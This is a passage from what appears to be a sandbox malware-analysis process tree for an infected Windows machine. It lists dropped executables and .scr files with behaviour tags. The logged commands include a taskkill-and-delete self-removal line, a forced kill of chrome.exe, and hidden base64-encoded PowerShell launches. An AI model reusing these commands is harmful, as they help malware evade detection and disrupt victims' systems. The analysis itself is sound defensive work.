                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4904 /prefetch:8
                                                                                                                                                                                                9⤵
                                                                                                                                                                                                  PID:6364
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6052 /prefetch:8
                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                    PID:8420
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6040 /prefetch:8
                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                      PID:9928
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3944 /prefetch:8
                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                        PID:7920
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5976 /prefetch:8
                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                          PID:1708
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4072 /prefetch:8
                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                            PID:10072
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3696 /prefetch:8
                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                              PID:5456
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2128 /prefetch:8
                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                PID:9440
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6024 /prefetch:8
                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                  PID:7564
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4932 /prefetch:8
                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                    PID:7968
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5576 /prefetch:8
                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                      PID:10092
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6720 /prefetch:8
                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                        PID:9280
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3652 /prefetch:8
                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                          PID:5524
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6868 /prefetch:8
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                            PID:5052
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7144 /prefetch:8
                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                              PID:808
                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6608 /prefetch:8
                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                PID:8516
                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1604 /prefetch:8
                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                  PID:7476
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7420 /prefetch:8
                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                    PID:9612
                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5828 /prefetch:8
                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                      PID:5520
                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5300 /prefetch:8
                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                        PID:9768
                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5604 /prefetch:8
                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                          PID:4352
                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8012 /prefetch:8
                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                            PID:8980
                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3576 /prefetch:8
                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                              PID:8492
                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7900 /prefetch:8
                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                PID:10000
                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5800 /prefetch:8
                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                  PID:9344
                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6468 /prefetch:8
                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                    PID:1300
                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6032 /prefetch:8
                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                      PID:6428
                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7732 /prefetch:8
                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                        PID:7820
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      "cmd.exe" /C taskkill /F /PID 4348 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\LIjYCHiaG_y3bkR5iLhdgutF.exe"
                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                        PID:9184
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                          taskkill /F /PID 4348
                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                          PID:8860
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        "cmd.exe" /C taskkill /F /PID 4348 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\LIjYCHiaG_y3bkR5iLhdgutF.exe"
                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                          PID:9176
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                            taskkill /F /PID 4348
                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                            PID:8520
                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\fAVF0xE_WGbXEZBE2fJd9idc.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\fAVF0xE_WGbXEZBE2fJd9idc.exe"
                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                        PID:5576
                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\fAVF0xE_WGbXEZBE2fJd9idc.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\Documents\fAVF0xE_WGbXEZBE2fJd9idc.exe
                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          PID:1032
                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\9180bMR15SjoMcWcGilF6Bra.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\9180bMR15SjoMcWcGilF6Bra.exe"
                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                        PID:1744
                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\9180bMR15SjoMcWcGilF6Bra.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\9180bMR15SjoMcWcGilF6Bra.exe"
                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                          PID:3644
                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\zT0Iw509IXowCgx_ldlrtk9w.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\zT0Iw509IXowCgx_ldlrtk9w.exe"
                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        PID:3004
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                            PID:5468
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                              taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                              PID:6716
                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\NgOrZ0EpMNrqC2ViGRLd5rdY.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\NgOrZ0EpMNrqC2ViGRLd5rdY.exe"
                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                            PID:3840
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\3937618.scr
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\3937618.scr" /S
                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                PID:1868
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\4846402.scr
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\4846402.scr" /S
                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                PID:5448
                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\L59q7xy0fiBn4oa6HXQ6wAez.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\L59q7xy0fiBn4oa6HXQ6wAez.exe"
                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                              PID:5924
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c Thu2025d6674aed72ba.exe /mixone
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:1296
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu2025d6674aed72ba.exe
                                                                                                                                                                                                                                                              Thu2025d6674aed72ba.exe /mixone
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              PID:2056
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 656
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                PID:4168
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 672
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:3024
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 724
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:3680
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 696
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:5208
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 896
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:6072
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 872
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:3272
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 1168
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:5100
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c Thu20bc9ea26f.exe
                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                              PID:1480
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu20bc9ea26f.exe
                                                                                                                                                                                                                                                                Thu20bc9ea26f.exe
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                PID:2624
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Thu2090b5515d63b2.exe
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                              PID:1260
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu2090b5515d63b2.exe
                                                                                                                                                                                                                                                                Thu2090b5515d63b2.exe
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                PID:1520
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\tmp7366_tmp.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\tmp7366_tmp.exe"
                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                  PID:4568
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\tmp7366_tmp.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\tmp7366_tmp.exe
                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    PID:4228
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                PID:2136
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Thu20fdd9ac35a68.exe
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                  PID:1548
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Thu20a5f7ccaa78.exe
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                  PID:988
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\33C9.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\33C9.exe
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:4684
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\ADEC.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\ADEC.exe
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:4772
                                                                                                                                                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                              PID:2836
                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                PID:4608
                                                                                                                                                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:2764
                                                                                                                                                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:2708
                                                                                                                                                                                                                                                                  • C:\Windows\system32\wbem\WMIADAP.EXE
                                                                                                                                                                                                                                                                    wmiadap.exe /F /T /R
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:8580
                                                                                                                                                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                      PID:2492
                                                                                                                                                                                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                        PID:1820
                                                                                                                                                                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                          PID:1232
                                                                                                                                                                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:1056
                                                                                                                                                                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                            PID:788
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\cfsafjc
                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\cfsafjc
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              PID:2204
                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:9856
                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:9876
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:7204
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu20fdd9ac35a68.exe
                                                                                                                                                                                                                                                                                  Thu20fdd9ac35a68.exe
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:2544
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-3HE6P.tmp\Thu2026c04e7218e1.tmp
